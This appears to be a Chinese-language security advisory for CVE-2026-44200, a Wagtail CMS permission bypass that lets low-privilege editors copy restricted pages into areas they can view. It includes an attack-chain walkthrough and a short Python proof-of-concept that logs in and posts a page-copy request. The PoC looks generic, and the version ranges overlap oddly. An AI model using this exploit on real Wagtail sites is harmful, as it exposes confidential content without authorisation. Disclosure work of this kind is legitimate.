IPBUF安全漏洞报告
English
CVE-2026-44200 CVSS 6.5 中危

CVE-2026-44200 Wagtail权限绕过漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-44200
漏洞类型
权限绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Wagtail CMS

相关标签

权限绕过WagtailCWE-284信息泄露

漏洞概述

Wagtail是基于Django的开源内容管理系统。在7.0.7、7.3.2和7.4之前的版本中存在权限绕过漏洞。拥有有限页面访问权限的用户可以将他们无权访问的页面复制到其拥有权限的站点区域。成功利用该漏洞后,攻击者可以查看受限页面的内容,并可能将其发布,导致敏感信息泄露。该漏洞源于系统正确检查了复制目标的权限,但未对源页面进行权限验证。

技术细节

该漏洞是由于Wagtail CMS在处理页面复制操作时的逻辑缺陷导致的。当用户请求复制页面时,系统验证了目标父目录的写入权限,确保用户可以在该位置创建内容,但未验证用户对源页面的读取权限。攻击者只需拥有目标区域的编辑权限,即可通过API或管理界面将受限页面(如私密草稿)复制到自己的目录下。复制操作会生成一个包含原始内容的新页面实例,从而绕过了原本的访问控制列表(ACL)。这导致攻击者能够读取本应不可见的敏感信息,CVSS评分6.5,主要影响机密性。

攻击链分析

STEP 1
1. 信息收集
攻击者枚举目标Wagtail站点,识别受限页面的ID(如草稿或私密页面)。
STEP 2
2. 获取低权限凭证
攻击者使用一个仅有部分站点编辑权限的合法账户登录系统。
STEP 3
3. 发起复制请求
攻击者构造请求,将受限页面的ID作为源对象,将其复制到其拥有写入权限的目标目录。
STEP 4
4. 访问敏感数据
由于权限检查未覆盖源页面,复制成功,攻击者在新路径下访问并查看原受限内容。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL configuration base_url = "https://example.com" login_url = f"{base_url}/admin/login/" copy_url = f"{base_url}/admin/pages/move/" # Attacker credentials (low privilege) creds = { "username": "limited_user", "password": "password123" } session = requests.Session() # 1. Authenticate to the CMS session.post(login_url, data=creds) # 2. Exploit: Copy restricted page (ID: 10) to allowed parent (ID: 5) payload = { "page_to_move": "10", # Source page ID (Restricted) "container_page": "5", # Destination page ID (Allowed) "action": "copy" } response = session.post(copy_url, data=payload) if response.status_code == 200: print("[+] Exploit successful! Page copied to accessible area.") else: print("[-] Exploit failed.")

影响范围

Wagtail < 7.0.7
Wagtail >= 7.1.0, < 7.3.2
Wagtail >= 7.3.0, < 7.4

防御指南

临时缓解措施
如果无法立即升级,建议管理员通过WAF或服务器配置,暂时禁用普通用户的页面复制API接口,或严格监控涉及页面移动的异常请求。

参考链接